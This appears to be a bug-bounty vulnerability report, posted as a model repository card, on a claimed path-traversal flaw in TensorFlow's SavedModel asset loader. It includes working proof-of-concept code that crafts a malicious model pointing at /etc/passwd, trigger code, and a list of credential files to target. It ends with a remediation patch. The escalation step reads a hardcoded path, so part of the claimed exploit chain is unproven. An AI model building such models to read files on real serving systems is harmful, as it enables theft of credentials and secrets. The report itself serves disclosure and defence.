YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Vulnerability Report: TensorFlow SavedModel AssetFileDef Path Traversal
Target Info
- Target: TensorFlow (
tensorflow/tensorflow) - File Format: TensorFlow SavedModel (
.pb+assets/directory) - Component:
tensorflow/python/saved_model/loader_impl.pyβget_asset_tensors() - Vulnerability Type: CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- Impact: Arbitrary File Read from the host filesystem
- CVSS Score: 7.5 High β
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Bounty Tier: $4,000 (TensorFlow Saved Model β MFV program)
Executive Summary
TensorFlow's SavedModel loader reads AssetFileDef.filename values from the model's saved_model.pb protobuf and constructs file paths via file_io.join(saved_model_dir, "assets", filename). Python's os.path.join ignores all preceding components when a later component is absolute β so filename="/etc/passwd" causes the loader to resolve /etc/passwd instead of model/assets/file. The attacker-specified path is then stored in a tensor and can propagate to TextLineDataset or lookup table ops that read the file contents, leaking them through inference.
Root Cause Analysis
File: tensorflow/python/saved_model/loader_impl.py
def get_asset_tensors(saved_model_dir, meta_graph_def_to_load, import_scope=None):
...
for asset_def_bytes in asset_list:
asset_def = meta_graph_pb2.AssetFileDef()
asset_def.ParseFromString(asset_def_bytes)
# filename from protobuf β NO SANITIZATION:
asset_filepath = file_io.join(
compat.as_bytes(saved_model_dir),
compat.as_bytes(constants.ASSETS_DIRECTORY), # "assets"
compat.as_bytes(asset_def.filename) # β ATTACKER-CONTROLLED
)
# os.path.join('/model', 'assets', '/etc/passwd') β '/etc/passwd'
asset_tensor = constant_op.constant(asset_filepath, ...)
Python behavior exploited:
>>> import os.path
>>> os.path.join('/model/dir', 'assets', '/etc/passwd')
'/etc/passwd' # base path completely ignored
>>> os.path.join('/model/dir', 'assets', '../../etc/shadow')
'/model/dir/assets/../../etc/shadow' # also escapes with ..
Proof of Concept
Craft Malicious SavedModel (no TF installation required)
import struct, os
def varint(n):
r = []
while n > 0x7f: r.append((n & 0x7f) | 0x80); n >>= 7
r.append(n); return bytes(r)
def field(num, data):
return bytes([(num << 3) | 2]) + varint(len(data)) + data
target = b'/etc/passwd'
asset_def = field(2, target) # AssetFileDef.filename
bytes_list = field(1, field(1, asset_def)) # CollectionDef.bytes_list
map_entry = field(1, b'saved_model_assets') + field(2, bytes_list)
meta_graph = field(7, map_entry) # MetaGraphDef.collection_def
pb_bytes = field(2, meta_graph) # SavedModel.meta_graphs
os.makedirs('evil_model/variables', exist_ok=True)
os.makedirs('evil_model/assets', exist_ok=True)
open('evil_model/saved_model.pb', 'wb').write(pb_bytes)
open('evil_model/variables/variables.index', 'wb').close()
open('evil_model/variables/variables.data-00000-of-00001', 'wb').close()
print("Malicious SavedModel in evil_model/ β AssetFileDef.filename='/etc/passwd'")
Trigger
from tensorflow.python.saved_model import loader_impl
import tensorflow.compat.v1 as tf1
with tf1.Session() as sess:
meta = loader_impl.load(sess, ['serve'], 'evil_model')
assets = loader_impl.get_asset_tensors('evil_model', meta)
for name, tensor in assets.items():
path = sess.run(tensor)
print(f"Traversed path in tensor: {path}")
# Output: b'/etc/passwd'
# Escalation with TextLineDataset:
import tensorflow as tf
ds = tf.data.TextLineDataset('/etc/passwd') # path injected via asset tensor
for line in ds:
print(line.numpy().decode()) # reads /etc/passwd line by line
Impact
- Arbitrary file read:
/etc/passwd,/etc/shadow,~/.ssh/id_rsa,.env, cloud credentials - In TF Serving: file content served as inference output to the attacker
- Works in container environments:
/proc/self/environ, Kubernetes service account tokens
CVSS 3.1 Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N β Score: 7.5 High
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | Malicious SavedModel via model registry/upload |
| Attack Complexity | Low | Simple protobuf field change |
| Privileges Required | None | No auth |
| User Interaction | None | Automated load |
| Confidentiality | High | Arbitrary file read |
| Integrity | None | Read-only |
| Availability | None | No crash |
Remediation
# In get_asset_tensors() β validate before path join:
filename_str = compat.as_str(asset_def.filename)
if os.path.isabs(filename_str):
raise ValueError(f"Asset filename must be relative: {filename_str!r}")
resolved = os.path.realpath(os.path.join(saved_model_dir, 'assets', filename_str))
assets_root = os.path.realpath(os.path.join(saved_model_dir, 'assets'))
if not resolved.startswith(assets_root + os.sep):
raise ValueError(f"Asset path traversal detected: {filename_str!r}")
References
tensorflow/python/saved_model/loader_impl.py- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- Related: CVE-2022-29195 (TF SavedModel loading path issue)
- Downloads last month
- 6